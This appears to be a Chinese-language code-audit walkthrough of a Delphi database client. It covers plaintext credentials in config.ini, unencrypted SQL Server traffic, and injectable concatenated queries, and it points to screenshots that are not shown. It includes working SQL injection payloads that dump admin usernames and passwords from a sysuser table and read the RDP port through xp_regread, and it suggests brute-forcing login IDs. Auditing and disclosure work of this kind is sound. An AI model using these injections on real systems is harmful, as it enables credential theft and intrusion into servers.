Delphi 程式碼審計–專案實戰 1
程式的主要function,與 procedure注:Delphi把操作資料的方法分成了兩種,一種是function,另一種是procedure,大致理解為“函式”和“過程”。Procedure類似C語言中的無返回值函式,即VOID。而Function就是c語言中的有返回值函式,即沒有Void。
程式分為2種連線資料庫模式:

程式分為2種連線資料庫模式:

無論是本地模式,還是聯網模式,都是讀取,當前路徑的config.ini配置檔案:(導致敏感資訊暴漏,可直連伺服器)

繼續跟資料庫連線:配合SQL Server資料庫,直接帶入,可以判斷出為明文儲存。

config.ini配置如下:

基於TCP通訊,SQL Server通訊構架大致如下:
(可導致通訊過程中抓取明文執行)

代入執行:
(導致可拼接sql語句,查詢任意語句或者執行命令)

部分語句其中如下:
select distinct memberid,receivecompany from weigh where receivecompany is notnull and receivecompany like ''%'+xxxxxx+'%''
軟體呈現如下:

對應 收貨單位編號,以及收貨單位名稱。
分別為:memberid,receivecompany閉合語句為:
2' ; select loginid as memberid , password as receivecompany from sysuser --

抓取返回如圖:
得到admin 賬號以及密碼。構造讀取遠端桌面埠號:

構造讀取遠端桌面埠號:
得到遠端伺服器埠號
2';EXECmaster..xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp','PortNumber' --
copy 獲取緩衝區內容:
(導致可從伺服器端構造程式碼)

copy 用法如下:
copy(a,b,c);
a:就是copy源,就是一個字串,表示你將要從a裡copy一些東西,b:從a中的第b位開始copy(包含第11位),
c:copy從第b位開始後的c個字元,
exp: m:=‘the test fuck'
s:=copy(m,2,2); //s值為‘he’
當超範圍,會發生異常錯誤。例項中,從伺服器資料庫獲取資料後進行copy。
軟體登陸部分程式碼如下:
(導致可自動化跑 loginid。)

多次嘗試錯誤處理如下:退出軟體,並且重新開始計算。